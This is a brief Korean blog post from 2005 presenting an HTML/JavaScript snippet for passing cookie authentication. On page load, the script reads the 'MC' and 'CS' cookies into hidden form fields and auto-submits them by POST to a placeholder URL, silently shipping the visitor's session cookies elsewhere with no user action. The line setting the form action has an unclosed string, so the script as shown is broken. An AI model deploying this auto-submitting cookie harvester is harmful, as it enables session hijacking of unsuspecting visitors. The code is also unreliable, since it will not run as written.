본문 바로가기

자바스크립트

자바스크립트 쿠키인증 받기

-2005. 9. 7. 22:18-

 

<html>
<head>
<script language="javascript"> 
 function getCookie(name) 
 { 
  var from_idx = document.cookie.indexOf(name+'='); 
  if (from_idx != -1) 
  { 
   from_idx += name.length + 1 
   to_idx = document.cookie.indexOf(';', from_idx)

   if (to_idx == -1) to_idx = document.cookie.length 
   return unescape(document.cookie.substring(from_idx, to_idx)) 
  } 
 } 
 function aa()
 {
  var strMC = getCookie("MC");   //추출한 값
  var strMC2 = getCookie("CS");  //추출한 값
  var ff=document.f2n;
  ff.cook.value=strMC;
  ff.cook2.value=strMC2;
  ff.action="http://test.php; // 보낼 위치
  ff.submit();
 }


 
// if(!empty(strMC)) alert(strMC);
</script>
</head>
<body onLoad="aa()">
<form name="f2n" action="" method="post">
 <input type="hidden" name="cook" value="">
 <input type="hidden" name="cook2" value="">
</form>
</body>
</html>